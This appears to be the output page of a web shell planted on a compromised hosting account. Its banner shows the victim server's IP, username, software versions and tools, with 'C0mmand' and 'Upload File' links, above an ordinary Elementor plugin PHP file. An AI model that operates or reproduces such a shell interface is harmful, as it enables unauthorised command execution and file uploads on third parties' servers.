|
Server IP : 10.121.20.1 / Your IP : 216.73.216.14 Web Server : Apache System : Linux webm001.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : laciafrdyl ( 293521) PHP Version : 8.1.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/l/a/../../l/../l/a/../a/c/../../a/c/../../../l/../l/../laciafrdyl/www/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
namespace Elementor\Modules\NestedElements;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Module extends \Elementor\Core\Base\Module {
const EXPERIMENT_NAME = 'nested-elements';
public static function get_experimental_data() {
return [
'name' => self::EXPERIMENT_NAME,
'title' => esc_html__( 'Nested Elements', 'elementor' ),
'description' => sprintf(
'%1$s <a href="https://go.elementor.com/wp-dash-nested-elements/" target="_blank">%2$s</a>',
esc_html__( 'Create a rich user experience by layering widgets together inside "Nested" Tabs, etc. When turned on, we’ll automatically enable new nested features. Your old widgets won’t be affected.', 'elementor' ),
esc_html__( 'Learn more', 'elementor' )
),
'release_status' => Experiments_Manager::RELEASE_STATUS_STABLE,
'default' => Experiments_Manager::STATE_ACTIVE,
'dependencies' => [
'container',
],
];
}
public function get_name() {
return 'nested-elements';
}
public function __construct() {
parent::__construct();
add_action( 'elementor/controls/register', function ( $controls_manager ) {
$controls_manager->register( new Controls\Control_Nested_Repeater() );
} );
add_action( 'elementor/editor/before_enqueue_scripts', function () {
wp_enqueue_script( $this->get_name(), $this->get_js_assets_url( $this->get_name() ), [
'elementor-common',
], ELEMENTOR_VERSION, true );
} );
}
}
